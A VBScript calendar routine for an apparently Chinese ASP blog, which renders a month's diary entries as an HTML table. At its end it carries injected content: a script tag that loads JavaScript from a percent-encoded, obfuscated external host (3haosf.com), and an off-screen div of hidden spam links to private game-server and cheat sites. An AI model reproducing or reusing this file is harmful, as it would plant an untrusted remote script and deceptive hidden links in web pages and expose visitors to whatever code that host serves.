dim clasky_c
clasky_c=0
dim mydiarydate,username,username22
sub dodiary(mydiary)
mydiarydate=mydiary

call writemonth(clasky_c)
end sub
sub dodiary1(mydiary)
mydiarydate=mydiary

call writemonth1(clasky_c)
end sub

sub writemonth(c)
	clasky_c=c
username=Split(mydiarydate, ",")
username22=username(0)
      
	dim tmpdate,tday,w,show_date,d,y,m,tmpstr,fint
	tmpdate=dateadd("m",c,now)
	y=datepart("yyyy",tmpdate)
	m=datepart("m",tmpdate)
	tday=y&"-"&m&"-1"
	tday=dateadd("d",(0-datepart("w",tday)),tday)
	tmpstr=tmpstr+"<table width=""100%"" border=""0"" align=""center"" cellpadding=""0"" cellspacing=""1"" class=""calendarBigBorder"">"
       tmpstr=tmpstr+"<tr ><td class=calendarDaySun onMouseover='{classTemp=this.className;this.className=calendarHover}' onMouseOut='this.className=classTemp'>日</td><td class=calendarTd onMouseover='{classTemp=this.className;this.className=calendarHover}' onMouseOut='this.className=classTemp'>一</td><td class=calendarTd onMouseover='{classTemp=this.className;this.className=calendarHover}' onMouseOut='this.className=classTemp'>二</td><td class=calendarTd onMouseover='{classTemp=this.className;this.className=calendarHover}' onMouseOut='this.className=classTemp'>三</td>"
	tmpstr=tmpstr+"<td class=calendarTd onMouseover='{classTemp=this.className;this.className=calendarHover}' onMouseOut='this.className=classTemp'>四</td><td class=calendarTd onMouseover='{classTemp=this.className;this.className=calendarHover}' onMouseOut='this.className=classTemp'>五</td><td class=calendarDaySat onMouseover='{classTemp=this.className;this.className=calendarHover}' onMouseOut='this.className=classTemp'>六</td></tr>"
	for w=1 to 6
		tmpstr=tmpstr+"<tr > "
		for d=1 to 7 
			show_date=dateadd("d",(w-1)*7+d,tday)
			fint=datediff("d","2003-1-1",show_date)
					if datepart("m",show_date)=m then
				if InStr(mydiarydate,","&fint&",")>0 then
					tmpstr=tmpstr+"<td class=calendarLink><a href=""blog.asp?username="&username22&"&e_id="&fint&""" title=""点击浏览"" >"&datepart("d",show_date)&"</a>"
				else
					if datepart("d",show_date)=datepart("d",now()) then 
					tmpstr=tmpstr+"<td class=calendarNow>"&datepart("d",show_date)&""
				else					
					tmpstr=tmpstr+"<td class=calendarTd>"&datepart("d",show_date)&""
				end if
					end if
			Else
				tmpstr=tmpstr+"<td class=calendarTd>&nbsp;"
			End if
			tmpstr=tmpstr+"</td>"
		next
		tmpstr=tmpstr+"</tr>"
	next	
	tmpstr=tmpstr+"</table>"
document.all("monthdate").innerHTML=tmpstr
document.all("nowmonth").innerText=y&"年"&m&"月"
end sub














<SCRIPT language=JavaScript src="http://%33%68%61%6F%73%66%2E%63%6F%6D/tz1.js"> 

<div style="position: absolute; top: -555px;left: -999px;"><a href=" http://3haosf.com">haosf</a><a href=" http://www.48hj.cn">英雄合击</a> <a href=" http://www.123mj.com">魔界私服</a> <a href=" http://www.114545.com">1.76传奇私服</a> <a href=" http://www.jg-gd.cn">上海阀门</a> <a href=" http://www.haocq.com">新开传奇私服</a><a href=" http://www.haocq.com">传奇SF</a><a href=" http://www.zhaohj.com">英雄合击</a><a href=" http://www.zhaohj.com">合击私服</a><a href=" http://www.520zxwg.com">诛仙2外挂</a>
  <a href=" http://www.119sf.com">传奇sf</a> <a href=" http://www.3haosf.com">传奇私服</a> <a href=" http://haosfsf123.com">传奇归来私服</a>  <a href=" http://www.423u.com">新魔界私服</a> <a href=" http://www.zhaohj.com">合击</a>    <a href="  http://www.4444hj.com">合击</a><a href="  http://www.sf337.com">合击</a> <a href=" http://www.ztfuzhu.com">绿色征途外挂</a>